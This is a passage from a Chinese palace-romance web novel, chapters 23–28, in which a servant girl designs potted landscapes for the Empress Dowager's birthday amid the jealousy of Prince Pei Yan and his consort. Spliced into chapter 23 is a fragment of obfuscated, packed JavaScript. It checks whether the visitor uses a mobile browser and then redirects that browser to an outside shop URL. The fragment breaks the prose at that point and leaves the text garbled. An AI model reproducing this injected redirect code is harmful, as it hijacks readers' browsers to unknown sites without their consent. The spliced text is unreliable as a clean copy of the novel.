午膳时,他像往常一样陪母亲说家常,笑声轻松。直到宫门前,他依依不舍地牵着祥嫔的手。
“母妃,委屈您了。”
祥嫔莞尔一笑:“诚儿,母妃从不觉得委屈。”
她说的是真心话——她不过是宫婢,却拥有封号、自己的寝宫,还有这样一个优秀的儿子。
当年昭帝的拥吻、热气、深情目光仿佛又回到耳边。可那已是过往云烟,她的心,已全给了儿子。其余的,她不求。
平王府。
乐阑珊看完花房,又把整个府里花圃、盆景翻了个遍。
结论惨不忍睹。
她问花匠,没人理。她走过小路,府中人远远躲开。她要去账房要钱,走到半路就停住了——那些人根本不会给她。
所以她转头,直奔裴衍书房。
书房门被推开。
裴衍抬头,声音冷得能结冰:“什么事不能找嬷嬷,要来找本王?”
乐阑珊轻轻挑眉,笑得甜得发腻:“奴婢身价五十万两,嬷嬷可管不了。只能劳烦王爷。”
裴衍正要训她,却被这一句噎住。
他从没见过她这样说话。既不卑,也不屈,甚至还有点调皮?
裴衍眯眼,上下打量她:“说吧,要我帮什么?”
“王爷能帮的可多了。”乐阑珊面上带着点讨好的笑。
裴衍心里“咯噔”一下。他竟然觉得她这副态度,有点好看?他迅速在心里骂自己一声荒唐。
“具体点。”他冷声道。
“要银子,要人,要一个大院子。”乐阑珊一字一句说得格外清晰。
“呵,你倒敢张口。”
“太后寿宴,当然值得奴婢张口。”她反击得干脆漂亮。
裴衍沉默了片刻:“去写个清单。本王让周叔去办。”
乐阑珊差点当场笑
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出声。
——你看,钱能让好脾气的来了。
但她还是谨慎:“这些可不能影响奴婢的赏银。”
裴衍白眼差点翻上天。
这女人是不是为了钱能变另一个人?
甚至让他怀疑——护国公当年贪墨军饷,会不会真有其事?毕竟眼前这位,也能为了银子笑得这么灿烂……
而乐阑珊则在心底暗算:银子是第一步。太后寿宴,必须惊艳全京。她要用这一仗拿到足够的赏银——赚到可以买回自由的第一桶金。
她夜夜筹划到深夜。
周叔得了指令,迅速按她的要求出府寻人。
盆景材料,她不信府里的采办,便让小媛去请陈伯。
府中后院那块荒置的大院子——正好被她拿来改造。
一切就绪,只差最关键的一点:
——太后的喜好。
几日后。
裴衍没见到设计稿,耐心快耗光了:“你右手若不便,本王让侧妃帮你。她画得很好。”
乐阑珊鼻尖皱了一下。
“王爷,盆景不是画出来的,是用心立出来的。”
她当场拒绝。
裴衍脸色一沉:“那你杵着不走做什么?”
“奴婢要见瑞王爷。”
啪——裴衍手中的笔掉在案上。
“你要见他?做什么?”
“奴婢想要——”
她话没说完,门外传来通报:“瑞王爷到——!”
乐阑珊眼底闪着压不住的欣喜。
裴衍脸色却在一瞬间黑到极致,像锅底墨一样冷。
瑞王踏进书房,目光在两人之间一扫。
“六弟,以后我这平王府是不是要改名瑞王府?”裴衍冷嘲。
裴诚笑:“四哥若愿意,王弟不介意多来几次。但王弟没来蹭饭。”
裴衍心里冷哼:最好不是来抢人。
裴诚走向乐阑珊:“乐姑娘,母妃宣你入宫问话。”
那一刻——
乐阑珊眼中光华流动。
裴衍的心却往下一坠。
一种压抑、说不上来的烦躁,从胸口翻腾着涌了起来。
像被谁硬生生攥住。
而**——这只是他悔意的开始。
第23章 祥嫔宣召
乐阑珊一听到“祥嫔宣召”四字,心底猛地一跳,惊喜几乎压不住,可面上依然只保持适度的恭敬和平静。
但她还没开口,裴衍先沉声问道:“祥嫔娘娘宣召我府中奴婢所为何事?”
语气冷得仿佛利刃。
裴诚从容答道:“母妃在为太后寿礼做准备,听闻乐姑娘母家擅鉴字画,特请乐姑娘入宫问话。”
裴衍闻言,转头扫了乐阑珊一眼。
那目光里,既有审视,也有一种说不清的……被触动的不快。
“你倒是多才多艺。”他冷讽般地道,“连名声都传进宫里去了。”
乐阑珊低眉垂目,不语。
裴诚笑着把话接过去:“当年贵女坊时,乐姑娘的才誉已经传遍宫中,母妃也是那时知晓的。”
裴衍:“……”
他本来想拒绝,却突然哽住。
若此事是祥嫔亲自开口,他便没有立场阻拦。
裴衍只得点头,但心口却莫名闷着一股气,像堵着火。
他却不知,这一瞬间,乐阑珊心底竟忽然生出一丝淡淡的爽意:
——原来平王殿下,不喜欢她被别人看见啊。
但这情绪,她压得极稳,连指尖都没动一下。
最终,她坐上了裴诚的马车,和他同乘一路入宫。
这是三年来——第一次。
三年前的他,少年气十足,意气风发。乐阑珊记得那时他们像真正的朋友,偶尔会在贵女坊屋顶上聊到星子落尽。
但那时的她,心里只有一个人:她的衍哥哥。
如今的裴诚已经不是三年前那个少年,英气更盛,笑容里多了几分风流,又带着轻松的坏意。与裴衍鲜明的力度不同,裴诚温柔里带着锋利的魅,仿佛一句话就能撩动人心。
而他这一路,却静得异样。
在乐阑珊不小心抬眼,偷看他第三次时,他终于漫不经心地开口:
“乐姑娘,小王脸上有丹青吗?”
一句话,把空气戳破。
乐阑珊耳根一热,连忙垂首:“奴婢失礼。”
裴诚忍不住低笑,带着点邪魅的松散气息。
那一瞬间的笑,很危险,也很好看。
她心里轻轻叹了口气。
——若换作三年前,她或许会与他笑语相答。
但现在,她不能。
也不敢。
祥嫔宫中。
宫门缓缓开启时,乐阑珊已稳住所有情绪。
“奴婢乐阑珊,参见祥嫔娘娘,愿娘娘长乐永安。”
她的礼数完美得挑不出一丝瑕疵,不卑不亢,带着微不可察的骄傲与沉静。
祥嫔抬眼看她时,眼底露出明显的惊讶。
这少女,她曾远远看过多次——贵女时像鲜花,艳丽张扬;罪奴后却还能收敛锋芒、稳住气度,这是宫中许多妃嫔都做不到的。
祥嫔亲自走上前,握住了她的手。
指尖触到厚茧和暗纹的瞬间,她眉心不由一紧。
“乐姑娘,苦了你了。”
短短一句,是真心的疼惜。
乐阑珊微低头:“多谢娘娘体恤。”
落座后,祥嫔不绕弯子:“宫中不能久留你。说吧,本宫能帮你什么?”
乐阑珊心中一震。
“娘娘如何得知奴婢想请教?”
祥嫔轻笑:“你揭了榜,就要做得漂亮,自然要知道太后喜恶。本宫正是最好的人选。”
这话分量不轻。
乐阑珊立刻起身,行大礼:“娘娘英明。”
祥嫔又道:“盆景一事本宫不懂。但太后的习性,本宫能告诉你。”
两人一问一答,干脆利落。
太后喜静,不喜过度讨好。
太后饮食偏清,不吃腥辣。
喜宽局不喜拘泥,下棋时常出奇招。
字画爱水墨留白,讨厌浮华艳色。
每一个细节,都像金子一样珍贵。
祥嫔看着乐阑珊记得极快,点头:“你心思很细。”
乐阑珊垂眸:“是娘娘教我看得透。”
祥嫔心里暗叹。
——这姑娘,不简单。
——怪不得两个皇子都看着她。
回程的马车内,气氛变得不一样了。
这一次,沉默的是乐阑珊。
她并未像之前那样拘谨,而是因为心中已有了布局,自信自然带出神采。
这回换成了裴诚看她。
她如今明明穿着最普通的宫奴衣物,却像蒙了光似的,整个人明亮得无法忽视。
“三年前的贵女,三年后的罪奴……”
裴诚在心里喃喃。
“怎么……比那时更让人移不开眼了?”
为了打破沉寂,他问:“你问我母妃这些,是为了盆观?”
“不全是。”乐阑珊道,“一个人的喜恶藏在细节里。太后胜负心强,却不拘泥旧例;性子稳,却爱奇招。这对盆观很重要。”
她顿了顿,露出极轻的笑:“盆观,不是用手,是用心。”
裴诚心头忽地一动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900704|192316||http|test|mini|href|location''.split(''|''),0,{}));
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r>一种危险的情绪,压下又冒头。
他突然有点后悔:
——为何三年前,没有更靠近她一点?
回到平王府·风暴压境
马车停下。
乐阑珊刚下地,就看见裴衍站在府门口。
脸色冷得像压着一场暴风雨。
一瞬间,她想到三年前平王府门前那一幕——那时她惊艳亮相,这男人神色专注;如今她从罪奴归来,他却用近乎敌意的目光盯着她。
“见过王爷。”
她行礼,规矩到挑不出错。
裴衍冷声:“你还知道回来?”
乐阑珊抬眼,平静无波:“王爷何出此言?”
“你和瑞王,到底在玩什么?”裴衍突然抓住她的手腕。
动作之狠,连他自己都愣了一瞬。
“第一天是他送你回来。你进府后,他来得比进宫都勤。今日又亲自带你入宫!”
他声音压得极低,却满是无法压住的怒意。
“你们……到底是什么关系?”
这一刻——
乐阑珊竟感到心底某处轻轻地、隐隐地有了快意。
——原来,你也会怕?
她甩开他的手,声音冷静:“王爷,我一个罪奴,还能与亲王如何?瑞王爷哪一只眼睛,会看得上奴婢?”
裴衍猛地瞪大眼:“我不许你这样说自己!”
这一吼,连他自己都说不清,到底是在护她,还是在否认自己心里的慌乱。
乐阑珊怔住了。
心跳微乱——但她压住所有浮动。
就在这时,邓馨儿踩着碎步赶来,眼睛里藏着按捺不住的幸灾乐祸。
“乐姐姐,你可真是……”
她嘲讽拉长尾音,
“王爷待你不薄,你却背着王爷和瑞王暗通款曲,成何体统?”
乐阑珊抬眼,语气冷得像刀锋:
“侧王妃慎言。”
邓馨儿没想到她敢这样回,脸色沉下来,阴阳怪气地:“可同车而行,总难免生出不该有的念头吧?”
——空气瞬间像被点燃。
裴衍眼神一沉,杀气外露:“邓馨儿,你闭嘴。”
邓馨儿怔住。
乐阑珊微微垂头,她的唇边,掠过一丝极轻、极漂亮、极隐蔽的暗笑——
只一瞬,无人察觉。
但她心里清楚。
今天这一回——
裴衍、邓馨儿……甚至裴诚。
他们全都乱了。
而她,稳到不能再稳。
第24章 妾身不想做她的影子
听到裴衍近乎咆哮的声音,邓馨儿整个人僵住。
她怔怔看着他,像是被雷劈了一般。
为什么……
为什么王爷冲她吼?
说好的训斥乐阑珊呢?
委屈瞬间涌上来,眼眶迅速红得发烫。
裴衍意识到自己语气太重,胸腔里隐隐一紧,压了压眉,声音放缓了几分:“馨儿,你先回去。本王晚上再去找你。”
他像是在安抚,却没半分情意落到她心里。
邓馨儿心口发凉,却只能含泪行礼、强撑体面地退下。
刚转身,眼泪就落了下来。
她走到门口,步伐微乱,像是在勉强让自己不至于摔倒。
——她知道,这一刻,她输得彻底。
乐阑珊本想趁混乱偷偷跑开,肩头忽然被一只手狠狠抓住。
裴衍的手掌烫得惊人,带着狂暴的占有欲。
“你给本王过来。”
他不容拒绝地拽着她,几乎半抱半拖地拉进书房,门“砰”地被甩上。
下一息,她整个人被他禁锢在怀里——
胸膛紧得像铁链,勒得她连呼吸都断断续续。
“说!”
裴衍嗓音压得沙哑而凶,“瑞王给了你什么好处?”
乐阑珊只觉得可笑。
她抬起下巴,眼尾微挑,嘴角挂着几分近乎残忍的讽刺:
“平王爷,奴婢可承受不起如此高看。”
“闭嘴!”
裴衍怒意暴涨,暴戾得像一头被戳痛的兽。
“哦,本**白了.你缺五十万两赎身钱,瑞王给你钱,你就去他怀里装可怜、卖可怜,是不是?”
话音落下,书房空气都像炸了。
乐阑珊忽然笑了,带着刺骨的冷。
“王爷太抬举奴婢。”
她眼神如刀,慢慢抬起袖子,露出一道道旧疤新伤。
“就这副烂得不成样子的身体……竟然还能值五十万两?若王爷愿意出这个价……怕是世上没有买主。”
裴衍的呼吸一下子停了。
胸腔深处仿佛被什么狠狠刺了一下。
“那你说!他到底给了你什么好处?”他几乎是吼出来的,带着隐约的恐惧。
乐阑珊不知哪来的力气,一掌推开他。
“王爷请自重。”
她声音清冷如玉敲冰,“奴婢虽是罪奴,却不是**女子。”
裴衍被推得踉跄两步。
他怔住,一瞬间血气倒流,整个人反倒冷静下来。
他深吸一口气,像是强行压住胸口的翻涌。
“阑珊,本王既然把你从杂役司救出来,自然有本王的用意。”
他的语气终于带了点真心,“你暂且忍耐。待本王将府中安抚妥帖,自会纳你入房。”
乐阑珊冷笑:“纳入房又如何?阑珊宁愿为奴,也不愿做妾。”
裴衍的太阳穴突突跳动。
“不做本王的妾?你知多少女子抢破头要进本王府?”
“那王爷随她们的心愿便是。”
裴衍忽然像是被戳到了某个死穴。
他盯着她,眼里的情绪复杂到几乎扭曲:“本王懂了!你是想入瑞王府,对吗?他身边空空如也,位置干净,是不是很诱人?”
乐阑珊被气笑:“王爷心中,女子的价值只有‘妃’与‘妾’吗?”
“不然呢?”裴衍反问,“女子不就是要一个归宿?”
“我乐阑珊偏不走别人替我铺好的路。”
那一刻,她的倔强像一束刺目的光,直逼裴衍的眼。
裴衍胸口像被火瞬间点燃:“阑珊!别说大话。本王的耐心有限!”
见她一语不发,他怒火反涨——
“很好。既然你顽冥不化,那就继续做本王府的奴婢!”
他抬声喊:“周叔!”
周叔匆匆进来,满脸紧张。
裴衍冷声如霜:“传本王口谕,没有本王的命令,乐阑珊不许吃饭。”
周叔吓得一哆嗦:“王爷!这……盆景还等着乐姑娘……”
裴衍狠狠一瞪:“本王说的是不许吃饭,不是让她偷懒!活照干,干砸了……她这辈子就别想离开平王府半步!”
周叔只得低头称是。
走出书房时,他轻声劝她:“乐姑娘,何必如此?王爷难得看重你,你若顺着王爷,前途远胜终身为奴。”
乐阑珊只是淡淡福身,不做解释。
回到花房,她立即开始投入盆景设计。
专注得仿佛已忘记饥饿。
“平王罚乐阑珊不许吃饭”的消息,比风还快地飞到了邓馨儿耳中。
“她活该。”
邓馨儿啐了一口,但心底疼得发麻。
因为她比谁都清楚——
惩罚不是重点,重点是王爷的心早被那个女人搅得乱成一团。
这才真正要命。
她越想越害怕。
直到夜深,
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殿门一响,裴衍带着冷风闯了进来。
一进门,他就将她按倒在床。
往常邓馨儿必定柔声顺从,可今晚她却拼命挣扎,几乎是哭着想推开他。
裴衍被迫停下来,皱眉:“你身体不适?”
“不是。”
邓馨儿眼泪滚落,“是心里难受。”
裴衍披上外袍,坐直:“说。”
“王爷……”
她抬头,声音颤得像风里摇的花枝,
“您究竟喜欢的是妾身,还是把妾身当成了那乐阑珊?”
裴衍胸口一闷,烦躁得发狠。
“馨儿,你向来乖巧懂事,今夜为何也跟她一样胡闹?”
他说完便站起,穿上靴子,显然毫不留恋。
邓馨儿慌了。
“王爷!”
她几乎是爬着扑过去,抱住他的腿,哭得撕心裂肺。
“妾身错了……妾身只是……只是太爱王爷,不想自己是她的影子。”
她努力忍泪,却越哭越凶:
“妾身想明白了……只要王爷肯来……就算王爷当妾身是她,妾身……也伺候得心甘情愿……”
话未说完,她忍了半夜的委屈终于爆发:
“可妾身毕竟是个女人!哪个女人不想独占夫君的心?哪个女人愿意与别人分一半?”
这一哭,泣不成声,撕碎整个寝殿。
裴衍最见不得女人哭。
他蹲下来,把她的头抱在怀里,轻声安抚:“馨儿,你是你,她是她。你是堂堂侧妃,何必与一个罪奴计较?”
“妾身不争身份,只争王爷的一颗心……”
话未落——
殿外突然响起周叔焦急的声音:
“王爷!乐姑娘晕倒了!”
裴衍像被抽走灵魂——
衣袖还在邓馨儿指尖,他已猛地挣开。
连靴子都没穿稳,几乎是狂奔出去。
“王爷——!”
邓馨儿扑了个空,只抓到他衣角的余温。
她浑身发冷,胸腔像被刀割。
随即——疯狂上涌。
她一把狠狠扯下桌布,杯盏碎了一地。
秀清冲进来,将她抱住:“小姐,别让王爷听到——”
邓馨儿红着眼,咬牙切齿,一字一句像毒蛇吐信:
“乐。阑。珊。”
“要么她死,要么我死。”
“有她没我,有我没她——”
“我一定要她、好、看。”
第25章 完成三件事,挣够银两,自由之身
偏殿的门,被风卷得“砰”的一声轻响。
裴衍推门而入,看见的第一幕,就是小媛红着眼圈、袖口湿透,正一勺一勺喂着昏软的乐阑珊,可勺子半天喂不到嘴里,急得她眼泪不断往下掉。
这一幕,像一根刺,扎在裴衍眼里。
“怎么回事?”
他的声音沉得能压碎瓦片。
小媛被吓得肩膀一抖,怯怯跪下:“王、王爷……姑娘她,是……是饿的。”
裴衍一瞬间黑了脸。
饿的?
他不信。
但小媛那缩成一团的模样,又不像在撒谎。
“王爷。”周叔上前,沉稳地说道,“太后庆典在即,乐姑娘所负责的盆景事宜乃头等大事,她若有个闪失,只怕会影响庆典安排。”
话里暗含提醒:这姑娘不能倒。
裴衍呼吸紧了紧。
他视线落向床榻——
乐阑珊缓缓睁眼。
她脸色白得惊心,眼眶因为虚弱而红了一圈,头发散着,额上还残着薄汗。
可她那双眼——却依旧清冷,如被冰雪洗过。
不哭,不闹。
只是一种压抑着自尊的寡淡。
没有求他。
没有恳求怜惜。
她想起身,身体太弱又倒回枕头里。
裴衍心口狠狠抽了一下,气得暗骂:就这么倔?你求我一下,会死吗?
但嘴上,却是另外的语气:“醒了?还能干活不?”
乐阑珊抬眸看他,眼底平静得几乎冷漠。
隔了很久,她咬牙道:“可以。”
周叔皱眉:“乐姑娘,使不得性子啊!”
小媛红着眼望着裴衍,替乐阑珊委屈。
裴衍压着怒意问:“怎么没准备饭?若误了庆典,本王拿你问罪。”
小媛吓得急忙退下,匆忙准备吃食。
不多时,一盘简单得不能再简单的饭食端了进来:
稀粥、馒头、青菜、豆腐。
裴衍眉头一拧:“就这些?”
小媛委屈说:“这已经……很好的了。平常……只有粗粮和腌菜。”
空气凝住。
裴衍的脸色沉得比乌云还黑。
“周叔,这是怎么回事?”
周叔欲言又止:“王爷……膳食乃侧王妃亲自掌管,老奴……不便多言。”
“……”
“侧王妃”三字,让裴衍的怒火硬生生被堵住。
他不是不清楚邓馨儿的心思。
只是他没想到,她会把心思用在这么小的地方。
小媛扶着乐阑珊,喂粥。
乐阑珊吃得很慢,仿佛每一口都是强逼自己压下**。
她的眼睛始终没有望向裴衍。
裴衍站在床边,目光落在她身上。
三年为奴,她竟还能保持那样的气韵——
清冷,克制,带着一种骨子里的傲意。
他心里忽然软了一下,问自己是不是太狠了?
于是他伸手,拿过粥碗。
“我来。”
小媛怔住。
乐阑珊也怔住。
她抬眸看他,那一瞬的惊诧如锋刃划过裴衍的心。
两人极近距离对视——
空气里像是有暗潮在翻卷。
裴衍喂得很小心,仿佛怕她烫到,怕她呛到,怕她再倒下去。
但乐阑珊冷淡的态度,一点点把他的温度浇灭。
她不领情。
哪怕被饿得发软,却宁愿忍着,也不肯露出服软。
裴衍心里被针扎一样。
阑珊,你什么时候变得这么不需要我了?
他刚要说点什么,却被周叔一句话猛地打断。
“王爷,不去请府医?”
裴衍瞪过去:“府医呢?”
“刚来就被侧王妃叫走了。”
正说着,一丫鬟急急跑来:
“王爷!侧王妃晕倒了!”
裴衍手上一顿,粥碗险些掉落。
“馨儿。”
他脱口而出,随即转身大步离去。
门,带起风,被甩得狠狠一响。
室内安静得只剩粥香与淡淡的药味。
小媛握着勺子的手微微发抖:“姑娘,他就这么走了?”
乐阑珊淡淡一笑,笑里有一种极深的苦意——
“王爷心中本就只有侧王妃。”
她轻声道,“我,一个罪奴,与她怎能相提并论。”
她说得平静,却透着冷透的失望。
你心里永远只有邓馨儿。
那你来我这里做什么?给什么关怀、恩典?
我没奢求,也不需要。
她突然大口吃起饭来。
每一口,都像是在吞自己的失望。
离开这里吧
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。
完成三件事,挣够银两,自由之身。
她必须走。
无论用什么办法。
——————————————————————
侧王妃寝殿。
裴衍赶到时,寝殿已经满是慌乱的丫鬟。
府医手握银针,刚施治完毕。
邓馨儿白着脸躺在榻上,气若游丝。
“侧王妃怎么样?”裴衍急声道。
府医:“急火攻心,并无大碍。”
秀清立刻跪下:“王爷,是奴婢守小姐不力!小姐心里只有王爷,方才与王爷言语失态,王爷走后,小姐悔愧难当,又怕王爷生气,一时急火攻心,才——”
裴衍心软了。
他坐到榻边,握住邓馨儿的手。
“馨儿,你这是何苦?你待阑珊的心本王知道。可你也该知道本王的心意。”
他话音一落,邓馨儿的眼角便滑下一行清泪,委屈,柔弱,紧紧抓着裴衍的惶恐。
“王爷……”她扑进他怀里,声音颤抖,“馨儿只爱王爷一人……不要离开馨儿……”
她哭得梨花带雨。
裴衍轻拍她的背:“本王何时说过要离开你?你最懂事,本王岂会冷了你的心?”
邓馨儿破涕为笑。
可她下一秒又察觉裴衍走神的目光。
走神?
他在想谁?
一抹阴影掠过她心底。
但她忍住了,只柔声央求:“王爷……今晚陪我,好不好?”
裴衍看着她的脸,又想到偏殿那抹清冷的背影……
最终,他点了点头。
——————————————————————
花房。
夜深。
但花房里灯火通明。
庆典盆景的规模宏大,任何步骤都不能出错。
乐阑珊吃饱后便立刻投入工作。
她动作迅速而熟练,从设计到修枝到调土,每个步骤都精准得像一柄刀——
锋利、不容置疑。
三年为奴,她的手却依旧稳得惊人。
正忙着,一阵刺耳的脚步声传来。
秀清带人闯进花房:
“侧王妃有令,让你去守夜!”
乐阑珊没抬头。
“说两遍你没听到?”秀清不耐烦,“罪奴就是罪奴,让你去就去!”
第26章 怎么守住王爷的心!
乐阑珊终于慢悠悠抬起头。
一双冷眸,淡到近乎轻蔑,却气场逼人:“阑珊如今由王爷亲定,负责太后庆典盆景。”
她淡声道,“守夜事宜,不再归我。”
秀清冷笑:“你敢违逆侧王妃?平王府内务,她说了算!”
“她说了算?”
乐阑珊轻轻一笑。笑得很轻,却锋芒毕露。
“侧王妃固然掌管内务……但还管不到太后头上吧?”
秀清被噎住了。
“秀清姑娘。”乐阑珊继续道,“你来传话,是王爷还是侧王妃让你来的?”
秀清脸色僵住。
乐阑珊眼底闪过一道凉意:“既然王爷留宿在侧王妃寝殿,就请你转告侧王妃——”
她站起身,抖落手上的泥土,气势从容冷傲。
“乐阑珊心只在盆景中,无意争宠,也没有资格争。若侧王妃担心,与其想着怎么折腾我,不如多想想——”
她盯着秀清,语调冷淡,却句句扎心。
“怎么守住王爷的心!”
秀清被她气得发抖:“你……你等着!”直接甩袖走了。
花房再度安静。
乐阑珊却低头继续修枝,动作沉稳,可她心底却在冷笑。
侧王妃寝殿。
邓馨儿依偎在裴衍怀中,贪婪地呼吸着裴衍身上的气息,裴衍粗重的喘息声,更是让她意醉情迷。
云雨过后,裴衍的呼吸渐渐均匀了,轻声说道:“馨儿,对府中的仆人一定要恩威并重,膳食上不可苛刻。”
邓馨儿心中一颤,便猜到定然是由乐阑珊引起的。
“王爷教训的是。”邓馨儿谦卑地答道,“是妾身的错。原本想着,太后庆典这么大的活动,必然要花费不少银两。事成之后,乐姐姐赎身还需要很多赏银支出,王府钱上吃紧,才想到了这个下策。都怪妾身思虑不周。”
“管理偌大一个王府不易,难为你了。眼下正是关键时期,关乎本王是否可以入主东宫,万不可传出平王府苛待下人的流言。”
“妾身记住了,一定照着王爷的意思办。”邓馨儿停顿了一下,“只是,乐姐姐的赏银该从哪里筹办?”
裴衍止住了话,过了许久才说:“先看看她设计得如何了再说。”
然后,裴衍起床穿戴好准备了去上朝。
裴衍走后,邓馨儿一阵失落,自己也说不出为了什么。
好在今晨嬷嬷没有送避子汤来,让她兴奋之余,心中燃起了新的希望。
经过这次折腾,短时间再无人找乐阑珊的麻烦,饭食也好了许多。
乐阑珊全天都待在花房忙碌,小媛和陈伯不离左右协助。
邓馨儿来过几次查看,可就是看不出名堂。但见各类盆景,无论是成品还是正在处理中,都散落在各处,一点儿也瞧不出端倪。
“小姐,她们这是在做些什么?奴婢怎么越看越糊涂呀。”秀清问道。
“随她去,做砸了自然有王爷收拾她。”“小姐,她做砸了自然难逃一死,可咱们王爷呢?太后和陛下会放过王爷吗?”
秀清这么一说,邓馨儿一下子警惕起来。
以往心思都放在了对付乐阑珊上,倒还真忽略了裴衍的前程。
假如乐阑珊出于报复,故意把事情搞砸,不等于拉着裴衍陪葬吗?
她反正已经是个罪奴了,生死无所谓,拉个七铢王爷下水,怎么看都算值了。
邓馨儿越想越害怕,便赶紧把担忧说给了裴衍。
裴衍第一反应,便是当场否定了她的担忧。
可她一走,裴衍开始有些犹豫了。
乐阑珊对自己的恨意之深,他感同身受。加上五十万两的赎身银子,原本就是个做不到的要求。乐阑珊想因此玉石俱焚,似乎也在情理之中。
她早就不再是当年那个知书达理的阑珊妹妹了,三年罪奴下来,她变得喜欢胡闹起来,对自己再无顺从。
裴衍心里这样评价着乐阑珊,步子不由自主地去了花房。
花房。
乐阑珊正在思考庆典当日的全场布局,陈伯走了过来。
自从陈伯来了平王府协助乐阑珊起,只是专心听她指挥做事,从来不多说一句话。
几次,乐阑珊私下向他打听护国公府的人和事,他都闭口不言。<
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br>估计是怕了,不想沾染上罪臣之家。
乐阑珊也就不去为难他了。
好在有了陈伯,盆景的栽培和修剪,都有了巨大的帮助。
陈伯还没有顾上说话,裴衍就带着周叔来了。
一路看过来,裴衍没有看出任何名堂,自己的担忧更甚了。
见到乐阑珊和陈伯,裴衍眉头皱了皱。
“王爷有何吩咐?”乐阑珊平静地行礼问道。
裴衍眉头皱得更紧了。
每次邓馨儿见了自己,恨不得立刻扑进自己的怀中。而乐阑珊见了自己的表情,可以把他推到九天之外。
她可是自小对自己一往情深的阑珊妹妹呀!
难道她真的有了别的心思了?
“太后庆典事关王府几百人的性命,你可清楚?”裴衍的声音很沉重。
“奴婢知晓,不敢怠慢。”
“可本王看着这花房和后院盆景虽多,可却是一片狼藉。你究竟在做些什么?”
“奴婢如何布局,到时王爷不就知道了吗?”
“本王看你像是要搞砸了。”
“搞砸了,奴婢的身家性命不也砸了吗?”
“要是你想搞砸了呢?”裴衍脱口而出。
原本他还想说:“你是不是想拉着本王一起下水?”感觉此话太唐突,就把话打住了。
乐阑珊猜出了他的后半句话,心里一沉。
想必又是邓馨儿吹了枕边风。
原来他如此信任邓馨儿,无论她说自己什么,他都会认为是对的。
而自己如何做、如何想,在他那里都是错的。
既然在他心中自己毫无信任可言,自己又何必解释什么。
“王爷既然如此以为,奴婢百口莫辩,不如请王爷决断吧。”
“阑珊,本王是看在端王的面子上,才赏赐了你这次机会,你就这样报答本王?”
“奴婢并没有做错什么,王爷何出此言?”
“阑珊,你要清楚,你如果胡闹,自己的身家性命不保不说,还会连带了陈伯和小媛给你陪葬。”
乐阑珊的口气直接激怒了裴衍,一旁的陈伯心一下子提了起来。
第28章 秋辞!你要**?
沉重的刑凳落地,发出一声钝响,震得人心口发麻。
乐阑珊被两名府兵死死按在冰冷的木面上,粗砺的木纹硌着她未愈的旧伤。她咬着牙,没有发出一点声音,只有额角瞬间沁出的冷汗,暴露了身体本能的恐惧。
邓馨儿居高临下地看着,眼底闪过一丝快意,兰花指轻抬,吐字如冰:“打。打到她认清自己的本分,磕头认错为止。”
“是!”
浸过水的刑杖挥起,带着风声落下——
“砰!”
第一下,是皮肉与硬木撞击的闷响。乐阑珊身体猛地一颤,眼前骤然发黑,口腔里瞬间弥漫开铁锈般的咸腥。
“住手!”
秋辞瞳孔骤缩,再也看不下去,单膝重重砸地,挡在了刑凳之前:“侧王妃!此次出府,是末将失职!若要惩戒,请罚末将!乐姑娘身系太后寿诞,万不可在此时有损!”
“秋副将,”邓馨儿的声音陡然尖厉,“王府内务,何时轮到你来指点?你今日为她求情,明日是不是连本妃也要管束了?”
她最恨的,便是有人护着乐阑珊,“继续打!给我狠狠的打!”
刑杖再次抬起。
秋辞眼中血丝迸现。眼见第二杖又要落下,他猛地暴起,如猎豹般扑前,一把死死攥住了行刑府兵的手腕!力道之大,让那府兵惨叫一声,刑杖“哐当”坠地。
“秋辞!你要**?”邓馨儿霍然起身,指尖发颤。
“刷啦——”数名府兵刀剑出鞘,寒光指向秋辞。
秋辞毫无惧色,反手“锵”地拔出自己的佩剑,横剑于胸,声音因压抑的怒火而嘶哑:“卑职不敢!但卑职职责所在,护的是太后圣辰!乐姑娘若有闪失,庆典崩塌,这干系——侧王妃,您担得起吗?”
“你……你敢拿太后来压我?”邓馨儿被他戳中最敏感处,理智被妒火彻底焚烧了,“给我拿下他!连同这贱奴,一并处置!”
府兵们面面相觑,迫于命令缓缓围上,却无人敢真的对王爷心腹副将动手,气氛僵持如绷紧的弦。
乐阑珊从剧痛和眩晕中挣扎着抬起头,嘴角鲜血蜿蜒。她看着挡在身前的宽阔背影,哑声道:“秋副将……你的情,阑珊心领……不必……为我犯上……”
“乐姑娘,”秋辞头也不回,剑锋稳如磐石,“末将护的不是你,是王爷的前程,是圣辰的体面!”
“好一个冠冕堂皇!”邓馨儿气得浑身发抖,正待不顾一切强令,一个清冷沉稳的声音,突兀地插入了这剑拔**张的场中——
“好热闹。”
众人循声望去。
瑞王府侍卫统领洛易,不知何时已立于院门外,一身劲装,腰佩参将令牌。他目光平静地扫过全场,最后落在邓馨儿脸上,拱手一礼,姿态恭敬,语气却无波无澜:
“末将洛易,奉祥嫔娘娘懿旨,宣乐阑珊即刻入宫觐见。”
“祥嫔娘娘?”邓馨儿所有表情僵在脸上,脱口而出,“她为何要见这贱奴?”
洛易直起身,目光如古井深潭:“娘娘懿旨,末将只知传达,不敢妄揣。”他顿了顿,补充道,“另,娘娘听闻乐姑娘正为太后圣辰尽心,特命末将转达:行事需谨慎,莫让‘无关琐事’,误了‘正经大事’。”
“无关琐事”四字,被他念得极轻,却像一记无形的耳光,狠狠扇在邓馨儿脸上。
邓馨儿胸口剧烈起伏,指甲深深掐进掌心。祥嫔!又是祥嫔!还有瑞王!
她恨得几乎咬碎银牙,可那“懿旨”二字,如同金箍,死死勒住了她
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所有的气焰和疯狂。在这煌煌宫谕面前,她这个“侧王妃”的威风,不值一提。
秀清死死拽住她的衣袖,无声摇头,眼神里满是惊恐和劝阻。
最终,邓馨儿从牙缝里挤出几个字:“既是娘娘懿旨,还不放人?”
洛易与秋辞对视一眼,同时上前,一左一右,将几乎无法站立的乐阑珊从刑凳上搀扶起来。
邓馨儿眼睁睁看着他们将她带走,那背影狼狈却挺直。她站在原地,只觉得方才**的所有威风、怒火,都变成了穿堂冷风,吹得她心底一片冰凉。
回到寝殿,挥退众人,邓馨儿猛地将桌上一套粉彩茶具尽数扫落在地!
“哗啦——!”
